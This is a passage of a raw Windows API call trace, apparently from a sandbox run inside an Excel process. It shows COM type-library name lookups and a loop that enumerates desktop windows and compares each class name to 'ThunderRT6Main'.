ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0125.071] IUnknown:Release (This=0xb1d1380) returned 0xa [0125.072] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d0570) returned 0x0 [0125.072] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0125.072] IUnknown:Release (This=0xb1d0570) returned 0x12 [0125.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2ef3b0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0125.072] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0125.072] IUnknown:Release (This=0xb1d0570) returned 0x11 [0125.072] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1920) returned 0x0 [0125.072] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0125.072] IUnknown:Release (This=0xb1d1920) returned 0x6 [0125.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2ef3b0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0125.072] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0125.072] IUnknown:Release (This=0xb1d1920) returned 0x5 [0125.072] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0x6fed890) returned 0x0 [0125.073] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0125.073] IUnknown:Release (This=0x6fed890) returned 0x4 [0125.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2ef3b0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0125.073] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0125.073] IUnknown:Release (This=0x6fed890) returned 0x3 [0125.073] IMalloc:Free (This=0x7feffc15380, pv=0xb2ef3b0) [0125.073] GetCurrentThreadId () returned 0x92c [0125.073] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0125.073] GetDesktopWindow () returned 0x10010 [0125.073] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10140 [0125.073] GetClassNameA (in: hWnd=0x10140, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20 [0125.073] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1 [0125.073] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0125.073] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a [0125.073] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.073] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.073] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0125.073] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138 [0125.073] GetClassNameA (in: hWnd=0x10138, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0125.073] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0125.073] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0125.073] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc [0125.073] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0125.074] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0125.074] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.074] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8 [0125.074] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0125.074] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0125.074] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.074] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0 [0125.074] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0125.074] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0125.074] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.074] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072 [0125.074] GetClassNameA (in: hWnd=0x10072, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0125.074] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0125.074] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.074] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070 [0125.074] GetClassNameA (in: hWnd=0x10070, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0125.074] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0125.074] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.074] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c [0125.074] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0125.074] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0125.074] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.074] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a [0125.074] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0125.074] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0125.074] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.074] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a [0125.074] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0125.074] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0125.074] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.074] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078 [0125.074] GetClassNameA (in: hWnd=0x10078, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0125.074] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0125.074] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.075] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074 [0125.075] GetClassNameA (in: hWnd=0x10074, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0125.075] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0125.075] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.075] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052 [0125.075] GetClassNameA (in: hWnd=0x10052, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0125.075] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0125.075] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.075] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e [0125.075] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.075] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.075] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.075] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054 [0125.075] GetClassNameA (in: hWnd=0x10054, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0125.075] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0125.075] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.075] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050 [0125.075] GetClassNameA (in: hWnd=0x10050, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0125.075] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0125.075] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.075] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4 [0125.075] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0125.075] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0125.075] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0125.075] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a [0125.075] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0125.075] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0125.075] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.075] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0125.075] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0125.076] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0125.076] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.076] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6 [0125.076] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0125.076] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0125.076] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.076] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x10226 [0125.076] GetClassNameA (in: hWnd=0x10226, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0125.076] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0125.076] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.076] GetWindowLongA (hWnd=0x10226, nIndex=-16) returned -1946157056 [0125.076] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0 [0125.076] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0 [0125.076] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x201a6 [0125.076] GetClassNameA (in: hWnd=0x201a6, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.076] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.076] GetWindowThreadProcessId (in: hWnd=0x201a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.076] GetWindowLongA (hWnd=0x201a6, nIndex=-16) returned -1946157056 [0125.076] GetWindowLongPtrA (hWnd=0x201a6, nIndex=-6) returned 0x13f4a0000 [0125.076] GetWindowLongPtrA (hWnd=0x201a6, nIndex=-6) returned 0x13f4a0000 [0125.076] GetWindow (hWnd=0x201a6, uCmd=0x2) returned 0x202d2 [0125.076] GetClassNameA (in: hWnd=0x202d2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0125.076] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0125.076] GetWindowThreadProcessId (in: hWnd=0x202d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.076] GetWindowLongA (hWnd=0x202d2, nIndex=-16) returned 382664704 [0125.076] GetWindowLongPtrA (hWnd=0x202d2, nIndex=-6) returned 0x13f4a0000 [0125.076] GetWindowLongPtrA (hWnd=0x202d2, nIndex=-6) returned 0x13f4a0000 [0125.076] GetWindow (hWnd=0x202d2, uCmd=0x2) returned 0x30232 [0125.076] GetClassNameA (in: hWnd=0x30232, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0125.076] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0125.076] GetWindowThreadProcessId (in: hWnd=0x30232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.076] GetWindowLongA (hWnd=0x30232, nIndex=-16) returned -1778384896 [0125.076] GetWindowLongPtrA (hWnd=0x30232, nIndex=-6) returned 0x0 [0125.076] GetWindowLongPtrA (hWnd=0x30232, nIndex=-6) returned 0x0 [0125.077] GetWindow (hWnd=0x30232, uCmd=0x2) returned 0x40234 [0125.077] GetClassNameA (in: hWnd=0x40234, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0125.077] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0125.077] GetWindowThreadProcessId (in: hWnd=0x40234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.077] GetWindowLongA (hWnd=0x40234, nIndex=-16) returned -1778384896 [0125.077] GetWindowLongPtrA (hWnd=0x40234, nIndex=-6) returned 0x0 [0125.077] GetWindowLongPtrA (hWnd=0x40234, nIndex=-6) returned 0x0 [0125.077] GetWindow (hWnd=0x40234, uCmd=0x2) returned 0x2027a [0125.077] GetClassNameA (in: hWnd=0x2027a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0125.077] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0125.077] GetWindowThreadProcessId (in: hWnd=0x2027a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.077] GetWindowLongA (hWnd=0x2027a, nIndex=-16) returned -1778384896 [0125.077] GetWindowLongPtrA (hWnd=0x2027a, nIndex=-6) returned 0x0 [0125.077] GetWindowLongPtrA (hWnd=0x2027a, nIndex=-6) returned 0x0 [0125.077] GetWindow (hWnd=0x2027a, uCmd=0x2) returned 0x20278 [0125.077] GetClassNameA (in: hWnd=0x20278, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0125.077] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0125.077] GetWindowThreadProcessId (in: hWnd=0x20278, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.077] GetWindowLongA (hWnd=0x20278, nIndex=-16) returned -1778384896 [0125.077] GetWindowLongPtrA (hWnd=0x20278, nIndex=-6) returned 0x0 [0125.077] GetWindowLongPtrA (hWnd=0x20278, nIndex=-6) returned 0x0 [0125.077] GetWindow (hWnd=0x20278, uCmd=0x2) returned 0x20296 [0125.077] GetClassNameA (in: hWnd=0x20296, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0125.077] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0125.077] GetWindowThreadProcessId (in: hWnd=0x20296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb74 [0125.077] GetWindow (hWnd=0x20296, uCmd=0x2) returned 0x20292 [0125.077] GetClassNameA (in: hWnd=0x20292, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.077] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.077] GetWindowThreadProcessId (in: hWnd=0x20292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb74 [0125.077] GetWindow (hWnd=0x20292, uCmd=0x2) returned 0x20280 [0125.077] GetClassNameA (in: hWnd=0x20280, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0125.077] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0125.077] GetWindowThreadProcessId (in: hWnd=0x20280, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb60 [0125.077] GetWindow (hWnd=0x20280, uCmd=0x2) returned 0x202c2 [0125.077] GetClassNameA (in: hWnd=0x202c2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0125.077] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0125.078] GetWindowThreadProcessId (in: hWnd=0x202c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.078] GetWindowLongA (hWnd=0x202c2, nIndex=-16) returned 1149272145 [0125.078] GetWindow (hWnd=0x202c2, uCmd=0x2) returned 0x202cc [0125.078] GetClassNameA (in: hWnd=0x202cc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0125.078] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0125.078] GetWindowThreadProcessId (in: hWnd=0x202cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.078] GetWindowLongA (hWnd=0x202cc, nIndex=-16) returned -2080374784 [0125.078] GetWindowLongPtrA (hWnd=0x202cc, nIndex=-6) returned 0x7fee5a60000 [0125.078] IsWindowEnabled (hWnd=0x202cc) returned 1 [0125.078] GetPropA (hWnd=0x202cc, lpString=0xc113) returned 0x0 [0125.078] SetPropA (hWnd=0x202cc, lpString=0xc113, hData=0x1) returned 1 [0125.078] EnableWindow (hWnd=0x202cc, bEnable=0) returned 0 [0125.078] GetWindow (hWnd=0x202cc, uCmd=0x2) returned 0x2025c [0125.078] GetClassNameA (in: hWnd=0x2025c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0125.078] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0125.078] GetWindowThreadProcessId (in: hWnd=0x2025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.078] GetWindowLongA (hWnd=0x2025c, nIndex=-16) returned 1149272145 [0125.078] GetWindow (hWnd=0x2025c, uCmd=0x2) returned 0x101e0 [0125.078] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0125.078] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0125.078] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.078] GetWindowLongA (hWnd=0x101e0, nIndex=-16) returned 382664704 [0125.078] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f4a0000 [0125.078] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f4a0000 [0125.078] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x1020a [0125.078] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0125.078] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0125.078] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.078] GetWindowLongA (hWnd=0x1020a, nIndex=-16) returned -1778384896 [0125.078] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0 [0125.078] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0 [0125.078] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x1020c [0125.078] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0125.078] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0125.079] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.079] GetWindowLongA (hWnd=0x1020c, nIndex=-16) returned -1778384896 [0125.079] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0 [0125.079] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0 [0125.079] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0125.079] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0125.079] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0125.079] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.079] GetWindowLongA (hWnd=0x1020e, nIndex=-16) returned -1778384896 [0125.079] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0 [0125.079] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0 [0125.079] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10210 [0125.079] GetClassNameA (in: hWnd=0x10210, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0125.079] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0125.079] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.079] GetWindowLongA (hWnd=0x10210, nIndex=-16) returned -1778384896 [0125.079] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0 [0125.079] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0 [0125.079] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x102a2 [0125.079] GetClassNameA (in: hWnd=0x102a2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0125.079] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0125.079] GetWindowThreadProcessId (in: hWnd=0x102a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa74 [0125.079] GetWindow (hWnd=0x102a2, uCmd=0x2) returned 0x2023e [0125.079] GetClassNameA (in: hWnd=0x2023e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0125.079] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0125.079] GetWindowThreadProcessId (in: hWnd=0x2023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.079] GetWindowLongA (hWnd=0x2023e, nIndex=-16) returned 213909504 [0125.079] GetWindowLongPtrA (hWnd=0x2023e, nIndex=-6) returned 0x7feef760000 [0125.079] GetWindowLongPtrA (hWnd=0x2023e, nIndex=-6) returned 0x7feef760000 [0125.079] GetWindow (hWnd=0x2023e, uCmd=0x2) returned 0x20214 [0125.079] GetClassNameA (in: hWnd=0x20214, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0125.079] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0125.079] GetWindowThreadProcessId (in: hWnd=0x20214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.079] GetWindowLongA (hWnd=0x20214, nIndex=-16) returned -2080374784 [0125.079] GetWindowLongPtrA (hWnd=0x20214, nIndex=-6) returned 0x7fef2910000 [0125.080] GetWindowLongPtrA (hWnd=0x20214, nIndex=-6) returned 0x7fef2910000 [0125.080] GetWindow (hWnd=0x20214, uCmd=0x2) returned 0x101de [0125.080] GetClassNameA (in: hWnd=0x101de, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0125.080] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0125.080] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.080] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -2046820352 [0125.080] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0125.080] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0125.080] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101dc [0125.080] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0125.080] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0125.080] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.080] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -2046820352 [0125.080] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0125.080] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0125.080] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101da [0125.080] GetClassNameA (in: hWnd=0x101da, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0125.080] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0125.080] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.080] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2046820352 [0125.080] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0 [0125.080] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0 [0125.080] GetWindow (hWnd=0x101da, 